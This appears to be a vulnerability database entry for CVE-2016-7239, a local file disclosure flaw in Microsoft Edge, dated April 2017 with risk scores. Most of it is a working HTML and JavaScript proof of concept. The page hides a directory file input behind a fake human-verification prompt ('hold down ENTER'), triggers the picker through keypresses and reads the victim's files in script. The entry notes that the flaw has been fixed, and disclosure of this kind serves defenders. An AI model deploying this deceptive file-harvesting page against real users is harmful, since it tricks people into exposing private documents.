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Microsoft Edge local files disclosure(CVE-2016-7239)
10
the difference was that the default directory was 'My Documents' so I showed that the folderpicker can be used to recieve all the files within a victims documents folder.
This has since been fixed.
<html>
<head>
<title>
Read all files on PC - PoC - By @qab
</title>
<style>
#thing {
opacity: 0.0;
}
</style>
</head>
<body>
<h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
<input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
<script>
var r = new FileReader();
thing.onchange = function() {
alert('I can read ' + this.files.length + ' files from anywhere on your pc!');//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
};
//This is where we detect if the user is holding the Enter button.
var i = 0;
document.onkeydown = function() {
i++;
if (i > 4) {
thing.click();
i = -10000;
document.onkeydown = null;
setTimeout(function() {
qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
}, 1000);
};
};
</script>
</body>
</html>
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15 Apr 2017 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.1353